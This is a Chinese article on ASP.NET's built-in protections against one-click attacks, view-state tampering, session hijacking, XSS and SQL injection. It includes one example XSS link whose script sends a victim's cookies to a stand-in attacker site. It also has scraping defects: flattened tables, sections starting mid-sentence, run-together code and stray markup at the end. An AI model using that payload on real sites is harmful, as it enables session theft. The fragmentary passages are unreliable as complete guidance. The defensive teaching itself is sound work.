天天看点

利用ASP.NET的内置功能抵御Web攻击

如果您正在阅读本文,可能就不需要再向您灌输web应用程序中的安全性愈来愈重要这一事实了。您需要的可能是一些有关如何在asp.net应用程序中实现安全性的实际建议。坏消息是,没有任何开发平台—包括asp.net在内—能够保证一旦采用了该平台,您就能够编写百分百安全的代码。谁要是这么说,一准在撒谎。好消息是,就asp.net来说,asp.net,特别是版本1.1和即将发行的版本2.0,集成了一些便于使用的内置防御屏障。

光是应用所有这些功能并不足以保护web应用程序,使其免受任何可能和可预见的攻击。但是,如果与其他防御技巧和安全策略相结合,内置的asp.net功能将可以构成一个强大的工具包,有助于确保应用程序在安全的环境中运行。

web安全性是各种因素的总和,是一种范围远超单个应用程序的策略的结果,这种策略涉及数据库管理、网路配置,以及社会工程和phishing。

本文的目的在于说明asp.net开发人员为了将安全标准保持到合理的高度,所应始终坚持的做法。这也就是安全性最主要的内容:保持警惕,永不完全放松,让坏人越来越难以发起黑客攻击。

下面我们来看看asp.net提供了哪些可以简化这项工作的功能。

攻击的可能发起人

回显到页的不可信用户输入

sql注入

串连用户输入以形成sql命令

会话劫持

会话id猜测和失窃的会话idcookie

一次单击

通过脚本发送的未被察觉的http张贴

隐藏域篡改

未检查(且受信)的隐藏域被填充以敏感数据

<b>表1.常见的web攻击</b>

列表中显现出来的关键性事实有哪些?在我看来,起码有以下三点:

无论您何时将何种用户输入插入浏览器的标记中,您都潜在地将自己暴露在了代码注入攻击(任何sql注入和xss变种)之下。

必须以安全的方式实现数据库访问,就是说,应当为数据库使用尽可能少的权限,并通过角色来划分各个用户的职责。

永远都不通过网络发送敏感数据(更别说是明文了),并且必须以安全的方式将敏感数据存储在服务器上。

有意思的是,上面的三点分别针对的是web安全性的三个不同方面,而这三个方面结合起来,才是唯一的一种生成防攻击、防篡改应用程序的合理方式。web安全性的各个层面可以总结如下:

编码实践:数据验证、类型和缓冲区长度检查,防篡改措施

数据访问策略:使用决策来保护可能最弱的帐户,使用存储过程或者至少是参数化的命令。

有效的存储和管理:不将关键性数据发送到客户端,使用哈希代码来检测操作,对用户进行身份验证并保护标识,应用严格的密码策略

如您所看到的,只有可以通过开发人员、架构师和管理员的共同努力,才可以产生安全的应用程序。请不要假定您能够以其他方式达到同样目的。

编写asp.net应用程序时,您并不是独自面对黑客大军:唯一的武器是通过自己的大脑、技能和手指键入的代码行。asp.net1.1和更高版本都会施加援手,它们具有一些特定的功能,可以自动提高防御以上列出的某些威胁的屏障。下面我们对它们进行详细的检视。

viewstateuserkey

从asp.net1.1开始引入,<b>viewstateuserkey</b>是<b>page</b>类的一个字符串属性,只有很少数开发人员真正熟悉该属性。为什么呢?让我们看看文档中是怎么说的。

在与当前页相关联的视图状态变量中将一个标识符分配给单个用户

除了有些累赘,这个句子的意思相当清楚;但是,您能老老实实地告诉我,它说明了该属性原本的用途吗?要理解<b>viewstateuserkey</b>的角色,您需要继续往下读,直到remarks部分。

该属性有助于防止一次单击攻击,因为它提供了附加的输入以创建防止视图状态被篡改的哈希值。换句话说,<b>viewstateuserkey</b>使得黑客使用客户端视图状态的内容来准备针对站点的恶意张贴困难了许多。可以为该属性分配任何非空的字符串,但最好是会话id或用户的id。为了更好地理解这个属性的重要性,下面我们简短介绍一下<b>一次单击</b>攻击的基本知识。

一次单击攻击包括将恶意的http表单张贴到已知的、易受攻击的web站点。之所以称为“一次单击”,是因为它通常是以受害者不经意的单击通过电子邮件发送的或者在拥挤的论坛中浏览时发现的诱惑性链接而开始的。通过点击该链接,用户无意中触发了一个远程进程,最终导致将恶意的&lt;form&gt;提交到一个站点。大家都坦白些吧:您真能告诉我,您从未因为好奇而单击过clickheretowin$1,000,000这样的链接吗?显然,并没有什么糟糕的事情发生在您身上。让我们假定的确是这样的;您能说web社区中的所有其他人都幸免于难了吗?谁知道呢。

要想成功,一次单击攻击需要特定的背景条件:

攻击者必须充分了解该有漏洞的站点。这是可能的,因为攻击者可以“勤奋地”研究该文件,或者他/她是一位愤怒的内部人员(例如,被解雇而又不诚实的雇员)。因此,这种攻击的后果可能是极其严重的。

站点必须是使用cookie(如果是持续性cookie,效果更好)来实现单次登录,而攻击者曾经收到过有效的身份验证cookie。

该站点的某些用户进行了敏感的事务。

攻击者必须能够访问目标页。

前已提及,攻击包括将恶意的http表单提交到等待表单的页。可以推知,该页将使用张贴来的数据执行某些敏感操作。可想而知,攻击者清楚地了解如何使用各个域,并可以想出一些虚假的值来达到他的目的。这通常是目标特定的攻击,而且由于它所建立的三角关系,很难追本溯源—即黑客诱使受害者单击该黑客站点上的一个链接,而这又会导致恶意代码被张贴到第三个站点。(请参阅图1。)

<b>图1.一次单击攻击</b>

为什么是不抱怀疑的受害者?这是因为,这种情况下,服务器日志中所显示的发出恶意请求的ip地址,是该受害者的ip地址。如前所述,这种工具并不像“经典”的xss一样常见(和易于发起);但是,它的性质决定了它的后果可能是灾难性。如何应对它?下面,我们审视一下这种攻击在asp.net环境下的工作机理。

除非操作编码在<b>page_load</b>事件中,否则asp.net页根本不可能在回发事件之外执行敏感代码。要使回发事件发生,视图状态域是必需的。请牢记,asp.net会检查请求的回发状态,并根据是否存在_viewstate输入域,相应地设置<b>ispostback</b>。因此,无论谁要向asp.net页发送虚假请求,都必须提供一个有效的视图状态域。

一次单击攻击要想得手,黑客必须能够访问该页。此时,有远见的黑客会在本地保存该页。这样,他/她就可以访问_viewstate域并使用该域,用旧的视图状态和其他域中的恶意值创建请求。问题是,这能行吗?

为什么不能?如果攻击者可以提供有效的身份验证cookie,黑客就可以进入,请求将被照常处理。服务器上根本不会检查视图状态内容(当<b>enableviewstatamac</b>为off时),或者只会检查是否被篡改过。默认情况下,试图状态中没有机制可以将该内容与特定的用户关联起来。攻击者可以轻松地重用所获取的视图状态,冒充另一个用户合法地访问该页,以生成虚假请求。这正是<b>viewstateuserkey</b>介入的地方。

如果选择准确,该属性可以将用户特定的信息添加到视图状态。处理请求时,asp.net会从视图状态中提取秘钥,并将其与正在运行的页的<b>viewstateuserkey</b>进行比较。如果两者匹配,请求将被认为是合法的;否则将引发异常。对于该属性,什么值是有效的?

为所有用户将<b>viewstateuserkey</b>设置为常量字符串,相当于将它保留为空。您必须将它设置为对各个用户都不同的值—用户id,会话id更好些。由于一些技术和社会原因,会话id更为合适,因为会话id不可预测,会超时失效,并且对于每个用户都是不同的。

以下是一些在您的所有页中都必不可少的代码:

voidpage_init(objectsender,eventargse){viewstateuserkey=session.sessionid;:}

为了避免重复编写这些代码,您可以将它们固定在从<b>page</b>派生的类的<b>oninit</b>虚拟方法中。(请注意,您必须在<b>page.init</b>事件中设置此属性。)

protectedoverrideoninit(eventargse){base.oninit(e);viewstateuserkey=session.sessionid;}

总体说来,使用基page类始终都不失为一件好事,我在buildyourasp.netpagesonaricherbedrock一文中已经进行了说明。如果您要了解更多有关一次单击攻击者的伎俩的信息,可以在aspnetpro.com找到一篇非常好的文章。

cookie还被用于检索特定用户的会话状态。会话的id被存储到cookie中,该cookie与请求一起来回传送,存储在浏览器的计算机上。同样,如果失窃,会话cookie将可被用来使黑客进入系统并访问别人的会话状态。不用说,只要指定的会话处于活动状态(通常不超20分钟),这就有可能发生。通过冒充的会话状态发起的攻击称为会话劫持。有关会话劫持的详细信息,请阅读theftontheweb:preventsessionhijacking。

这种攻击有多危险?很难讲。这要取决于web站点的功能,更为重要的是,该站点的页是如何设计的。例如,假定您能够获得别人的会话cookie,并将它附加到对站点上某个页的请求中。您加载该页并逐步研究它的普通用户界面。除了该页使用另一个用户的会话状态工作外,您无法将任何代码注入该页,也无法修改该页中的任何内容。这本身并不太坏,但是如果该会话中的信息是敏感和关键性的,就有可能直接导致黑客成功实现利用。黑客无法渗透到会话存储的内容中,但他可以使用其中存储的信息,就像自己是合法进入的一样。例如,假定有这样一个电子商务应用程序,它的用户在浏览站点时将物品添加到购物车中。

<b>方案1。</b>购物车的内容存储在会话状态中。但是,在结帐时,用户被要求通过安全的ssl连接确认和输入付款详细信息。这种情况下,通过接入其他用户的会话状态,黑客仅可以了解到一些有关受害者的购物喜好的细节。在这种环境下劫持实际上并不会导致任何损害。受威胁的只是保密性。

<b>方案2。</b>应用程序为每位注册用户处理一份档案,并将档案保存在会话状态中。糟糕的是,档案中(可能)包括信用卡信息。为什么要将用户档案详细信息存储到会话中?可能应用程序的其中一个目标是,从根本上避免使用户不得不重复键入自己的信用卡和银行信息。因此,在结算时,应用程序会将用户定位到一个具有预先填充的域的页。而有失谨慎的是,这些域的其中一个是从会话状态中获取的信用卡号。现在您可以猜到故事的结局了吗?

应用程序的页的设计,是防止会话劫持攻击的关键所在。当然,还有两点没有理清。第一点是,如何防止cookie盗窃?第二点是,asp.net可以如何检测和阻止劫持?

asp.net会话cookie极其简单,仅限于包含会话id字符串本身。asp.net运行库从cookie中提取会话id,并将其与活动的会话进行比较。如果id有效,asp.net将连接到对应的会话并继续。这种行为极大地方便了已经偷到或者可以猜出有效的会话id的黑客。

xss和中间人(man-in-the-middle)攻击以及对客户端pc的强力访问,都是获取有效cookie的方法。为了防止盗窃,您应当实现安全最佳实践来防止xss及其各变种得手。

而为了防止会话id猜测,您应当干脆避免太高估计自己的技能。猜测会话id意味着您知道如何预测有效的会话id字符串。对于asp.net所使用的算法(15个随机数字,映射为启用url的字符),随机猜测到有效id的概率接近于零。我想不到任何理由来用自己的会话id生成器替换默认的会话id生成器。许多情况下,这么做只会为攻击者提供方便。

会话劫持更为糟糕的后果是一旦cookie被盗或者被猜出,asp.net并没有什么办法来检测欺诈性的cookie使用。同样,原因是asp.net将自己限制为检查id的有效性,以及cookie的来源地。

我在wintellect的朋友jeffprosise为msdnmagazine写了一篇很好的关于会话劫持的文章。他的结论并不令人安慰:几乎不可能建立能够完全抵御依靠偷来的会话idcookie所发起的攻击的防御工事。但是他开发的代码为进一步提升安全标准提供了非常明智的建议。jeff创建了一个http模块,该模块为会话idcookie监视传入的请求和传出的响应。该模块将一条哈希代码附加到会话id之后,使攻击者重用cookie更为困难。您可以在此处阅读详情。

<b>图2.启用enableviewstatemac时,使视图状态本身难以篡改的因素</b>

启用了mac检查时(默认情况),将对序列化的视图状态附加一个哈希值,该值是使用某些服务器端值和视图状态用户秘钥(如果有)生成的。回发视图状态时,将使用新的服务器端值重新计算该哈希值,并将其与存储的值进行比较。如果两者匹配,则允许请求;否则将引发异常。即使假设黑客具有破解和重新生成视图状态的能力,他/她仍需要知道服务器存储的值才可以得出有效的哈希。具体说来,该黑客需要知道machine.config的&lt;<b>machinekey</b>&gt;项中引用的计算机秘钥。

默认情况下,项是自动生成的,以物理方式存储在windows<b>localsecurityauthority</b>(lsa)中。仅在web场(此时视图状态的计算机秘钥必须在所有的计算机上都相同)的情形下,您才应当在machine.config文件中将其指定为明文。

视图状态mac检查是通过一个名为<b>enableviewstatemac</b>的<b>@page</b>指令属性控制的。如前所述,默认情况下,它被设置为true。请永远不要禁用它;否则将会使视图状态篡改一次单击攻击成为可能,并具有很高的成功概率。

cross-sitescriptingoverview中详细阅读有关xss攻击的基础知识。

代码中的哪些漏洞导致xss攻击成为可能?

xss利用的是动态生成html页、但并不验证回显到页的输入的web应用程序。这里的输入是指查询字符串、cookie和表单域的内容。如果这些内容在未经适当性能检查的情况下出现在网络上,就存在黑客对其进行操作以在客户端浏览器中执行恶意脚本的风险。(前面提到的一次单击攻击其实是xss的一种新近变种。)典型的xss攻击会导致不抱怀疑的用户点击一条诱惑性链接,而该链接中嵌入了转义的脚本代码。欺诈代码将被发送到一个存在漏洞且会毫不怀疑地输出它的页。以下是可能发生的情况的一个示例:

&lt;ahref="http://www.vulnerableserver.com/brokenpage.aspx?name=&lt;script&gt;document.location.replace('http://www.hackersite.com/hackerpage.aspx?cookie='+document.cookie);&lt;/script&gt;"&gt;clicktoclaimyourprize&lt;/a&gt;

用户单击一个看上去明显安全的链接,最终导致将一些脚本代码传递到存在漏洞的页,这些代码首先获取用户计算机上的所有cookie,然后将它们发送到黑客的web站点。

请务必注意,xss不是一个特定于供应商的问题,因此并不一定会利用internetexplorer中的漏洞。它影响目前市场上的所有web服务器和浏览器。更应注意的是,没有哪一个修补程序能够修复这一问题。您完全可以保护自己的页免受xss攻击,方法是应用特定的措施和合理的编码实践。此外,请注意,攻击者并不需要用户单击链接就可以发起攻击。

要防御xss,您必须从根本上确定哪些输入是有效的,然后拒绝所有其他输入。您可以在一本书中读到抵御xss攻击的详细检查表,该书在microsoft属于必读范围—writingsecurecode,作者是michaelhoward和davidleblanc。特别地,我建议您仔细阅读第13章。

阻止阴险的xss攻击的主要方法是向您的输入(任何类型的输入数据)添加一个设计合理、有效的验证层。例如,某些情况下即使是原本无害的颜色(rgb三色)也会将不受控制的脚本直接带入页中。

在asp.net1.1中,<b>@page</b>指令上的<b>validaterequest</b>属性被打开后,将检查以确定用户没有在查询字符串、cookie或表单域中发送有潜在危险性的html标记。如果检测到这种情况,将引发异常并中止该请求。该属性默认情况下是打开的;您无需进行任何操作就可以得到保护。如果您想允许html标记通过,必须主动禁用该属性。

&lt;%@pagevalidaterequest="false"%&gt;

<b>validaterequest</b>不是万能的药方,无法替代有效的验证层。请阅读此处以获取大量有关该功能的基础原理的宝贵信息。它基本上通过应用一个正则表达式来捕获一些可能有害的序列。

<b>注validaterequest</b>功能原本是有缺陷的,因此您需要应用一个修补程序它才能按预期工作。这样的重要信息常常不为人们所注意。奇怪的是,我发现我的其中一台计算机仍受该缺陷的影响。试试看!

没有任何关闭<b>validaterequest</b>的理由。您可以禁用它,但必须有非常好的理由;其中一条这样的理由可能是用户需要能够将某些html张贴到站点,以便得到更好的格式设置选项。这种情况下,您应当限制所允许的html标记(<b>&lt;pre&gt;</b>、<b>&lt;b&gt;</b>、<b>&lt;i&gt;</b>、<b>&lt;p&gt;</b>、<b>&lt;br&gt;</b>、<b>&lt;hr&gt;</b>)的数目,并编写一个正则表达式,以确保不会允许或接受任何其他内容。

以下是一些有助于防止asp.net遭受xss攻击的其他提示:

使用<b>httputility.htmlencode</b>将危险的符号转换为它们的html表示形式。

使用双引号而不是单引号,这是因为html编码仅转义双引号。

强制一个代码页以限制可以使用的字符数。

总之,使用但是不要完全信任<b>validaterequest</b>属性,不要太过懒惰。花些时间,从根本上理解xss这样的安全威胁,并规划以一个关键点为中心的防御策略:所有的用户输入都是危险的。

此处了解更多有关sql注入的信息。

要阻止sql注入攻击,有许多方法。以下介绍最常见的技巧。

确保用户输入属于适当的类型,并遵循预期的模式(邮政编码、身份证号,电子邮件等)。如果预期来自文本框的数字,请在用户输入无法转换为数字的内容时阻止该请求。

使用参数化的查询,使用存储过程更好。

使用sqlserver权限来限制各个用户可以对数据库执行的操作。例如,您可能需要禁用xp_cmdshell或者将该操作的权限仅限于管理员。

如果使用存储过程,可以显著降低发生这种攻击的可能性。实际上,有了存储过程,您就无需动态地撰写sql字符串。此外,sqlserver中将验证所有参数是否具有指定的类型。虽然光是这些并不是百分百安全的技巧,但是加上验证的话,将足以提高安全性。

更为重要的是,应确保只有经过授权的用户才能够执行可能具有严重后果的操作,如删除表。这要求认真仔细地设计应用程序的中间层。好的技巧(不光是为了安全性)应把焦点集中在角色上。应当将用户分组为各种角色,并为各个角色定义一个包含一组最少的权限的帐户。

几周前,wintellectweb站点受到一种很复杂的sql注入的攻击。那位黑客试图创建并启动一个ftp脚本来下载一个可能是恶意的可执行程序。幸运的是,这次攻击失败了。或者,其实是强用户验证,使用存储过程和使用sqlserver权限,导致了攻击未能成功?

总而言之,您应当遵循这些指南,以避免被注入有害的sql代码:

使用尽可能少的权限运行,永远不以“sa”身份执行代码。

将访问限制给内置的存储过程。

首选使用sql参数化查询。

不通过字符串串连来生成语句,不回显数据库错误。

dotnet2themaxweb站点获得该组件的全部源代码。

="border-right:#cccccc1pxsolid"&gt;="border-right:#cccccc1pxsolid"&gt;="border-right:#cccccc1pxsolid"&gt;="border-right:#cccccc1pxsolid"&gt;="border-right:#cccccc1pxsolid"&gt;